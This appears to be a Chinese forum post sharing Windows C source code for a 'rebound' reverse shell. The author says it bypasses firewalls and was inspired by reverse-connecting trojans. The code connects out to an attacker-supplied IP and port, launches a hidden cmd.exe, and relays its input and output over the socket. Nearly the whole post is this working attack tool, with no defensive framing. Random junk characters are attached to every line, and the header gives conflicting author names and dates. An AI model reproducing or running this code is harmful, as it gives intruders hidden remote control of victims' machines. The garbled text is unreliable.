这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z<4AL\l 98
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/* ============================== +]50D xflA
Rebound port in Windows NT )Z
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By wind,2006/7 5Dl/aHb
===============================*/ `#gie$B{
#include Ow077v?
#include LDg?'y;2
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#pragma comment(lib,"wsock32.lib") uH-)y,2&
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void OutputShell(); @fV9
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SOCKET sClient; l$'wD hN*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~!3r&(
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void main(int argc,char **argv) z"4~P3>{g
{ 6u}</>}
WSADATA stWsaData; $2el&I
int nRet; wuqJr:q*#
SOCKADDR_IN stSaiClient,stSaiServer; ))i }7chc
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if(argc != 3) `V3Fx{
{ 4NIRmDEd
printf("Useage:\n\rRebound DestIP DestPort\n"); S@ f9c
return; {vO9ptR;
} RAK-UN
{
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WSAStartup(MAKEWORD(2,2),&stWsaData); W 8!Qv8rf
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Uv~QUL3>
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stSaiClient.sin_family = AF_INET; ^<-+@v*
stSaiClient.sin_port = htons(0); HX{`VahE
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w8D"CwS1Rx
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) lUiL\~Gq
{ /[>sf[X\I9
printf("Bind Socket Failed!\n"); T${Q.zHY[!
return; N{~YJ$!8
} UEVG0qF
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stSaiServer.sin_family = AF_INET; 9?3&?i2-
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <V6VMYXY4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wsVV$I[2
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :$9tF>
{ 2Q"K8=s
printf("Connect Error!"); E\2%E@0#
return; PIpi1v*qz
} {&T_sw@[
OutputShell(); ^Js9 s8?$
} b,%C{mC
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void OutputShell() RlDn0s
{ 9pxc~=
char szBuff[1024]; /_#q@r4ZQ
SECURITY_ATTRIBUTES stSecurityAttributes; w(TJ*::T
OSVERSIONINFO stOsversionInfo; X/M4!L}\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; LAe6`foW/
STARTUPINFO stStartupInfo; kd$D 3S^{
char *szShell; }k
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PROCESS_INFORMATION stProcessInformation; A7hVHxNJ-
unsigned long lBytesRead; +V^;.P</
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (41|'eB\\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6;qy#\}2
stSecurityAttributes.lpSecurityDescriptor = 0; r s?R:+
stSecurityAttributes.bInheritHandle = TRUE; Ktm4 A O
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A^EE32kbm
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); SrK<fAkx
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c>~*/%+
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,V:SN~P66+
stStartupInfo.wShowWindow = SW_HIDE; ^J8lBLqe
stStartupInfo.hStdInput = hReadPipe; ~Ti'FhN
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bl(RyAgA
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GetVersionEx(&stOsversionInfo); ;Nj7qt
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switch(stOsversionInfo.dwPlatformId) @Sbe^x
{ *lw_=MXSK
case 1: <)-Sj,
szShell = "command.com"; ,47Y9Kz9
break; PJrtMAcKq
default: 4G>H
szShell = "cmd.exe"; U,- 39mr
break; h"lv7;B$
} Ev(>z-{F
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Gvqxi|
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send(sClient,szMsg,77,0); P{+T<bk|
while(1) 8j\cL'
{ \:ak ''
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |(LZ9I
if(lBytesRead) dg"3rs /?A
{ J9iy
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X;c'[q
send(sClient,szBuff,lBytesRead,0); tX %5BTv
} >!1.
else Jrpx}2'9:a
{ 25[I=ZdS
lBytesRead=recv(sClient,szBuff,1024,0); MsGM5(r:b
if(lBytesRead<=0) break; C"T;Qp~B
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Nyj( 0W
} ,1CIBFY
} !XCm>]R
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return; I \[_9
}